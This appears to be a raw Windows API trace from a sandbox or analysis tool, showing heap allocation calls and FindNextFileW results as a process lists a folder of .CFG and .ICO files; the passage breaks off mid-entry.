[0078.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf350 [0078.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9800 [0078.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.400] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a0f600, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a0f600, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTE.CFG", cAlternateFileName="")) returned 1 [0078.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf370 [0078.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9888 [0078.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.401] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEL.ICO", cAlternateFileName="")) returned 1 [0078.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf390 [0078.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9910 [0078.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.402] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTES.ICO", cAlternateFileName="")) returned 1 [0078.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf3b0 [0078.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9998 [0078.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.402] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142d2200, ftCreationTime.dwHighDateTime=0x1c9d96b, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x142d2200, ftLastWriteTime.dwHighDateTime=0x1c9d96b, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSMMS.CFG", cAlternateFileName="")) returned 1 [0078.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf3d0 [0078.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6a98 [0078.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.403] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x273ff200, ftCreationTime.dwHighDateTime=0x1c9d96b, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x273ff200, ftLastWriteTime.dwHighDateTime=0x1c9d96b, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSSMS.CFG", cAlternateFileName="")) returned 1 [0078.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf3f0 [0078.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6ba0 [0078.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.404] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFL.ICO", cAlternateFileName="")) returned 1 [0078.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf410 [0078.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9a20 [0078.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.404] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFS.ICO", cAlternateFileName="")) returned 1 [0078.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf430 [0078.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9aa8 [0078.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.405] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4466a600, ftCreationTime.dwHighDateTime=0x1c9449a, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4466a600, ftLastWriteTime.dwHighDateTime=0x1c9449a, nFileSizeHigh=0x0, nFileSizeLow=0x33c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFTMPL.CFG", cAlternateFileName="")) returned 1 [0078.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf450 [0078.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6ca8 [0078.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.406] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c035000, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fb15d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c035000, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="POST.CFG", cAlternateFileName="")) returned 1 [0078.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf470 [0078.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9b30 [0078.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.406] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c035000, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c035000, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTIT.CFG", cAlternateFileName="")) returned 1 [0078.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf490 [0078.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6db0 [0078.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.407] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTITL.ICO", cAlternateFileName="")) returned 1 [0078.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf4b0 [0078.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6eb8 [0078.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.408] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTITS.ICO", cAlternateFileName="")) returned 1 [0078.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xabf4d0 [0078.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b6fc0 [0078.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4140) returned 0xac73c0 [0078.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac32b8) returned 1 [0078.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.408] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTL.ICO", cAlternateFileName="")) returned 1 [0078.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTS.ICO", cAlternateFileName="")) returned 1 [0078.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="RCLRPT.CFG", cAlternateFileName="")) returned 1 [0078.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x651, dwReserved0=0x0, dwReserved1=0x0, cFileName="REC.CFG", cAlternateFileName="")) returned 1 [0078.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECL.ICO", cAlternateFileName="")) returned 1 [0078.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECS.ICO", cAlternateFileName="")) returned 1 [0078.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1fd7730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTE.CFG", cAlternateFileName="")) returned 1 [0078.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTEL.ICO", cAlternateFileName="")) returned 1 [0078.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMOTES.ICO", cAlternateFileName="")) returned 1 [0078.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPLTMPL.CFG", cAlternateFileName="")) returned 1 [0078.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d347d00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d347d00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORT.CFG", cAlternateFileName="")) returned 1 [0078.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORTL.ICO", cAlternateFileName="")) returned 1 [0078.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORTS.ICO", cAlternateFileName="")) returned 1 [0078.410] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e65aa00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e65aa00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESEND.CFG", cAlternateFileName="")) returned 1 [0078.410] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x1ffd890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESENDL.ICO", cAlternateFileName="")) returned 1 [0078.410] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RESENDS.ICO", cAlternateFileName="")) returned 1 [0078.410] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x216f7400, ftCreationTime.dwHighDateTime=0x1c61668, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x216f7400, 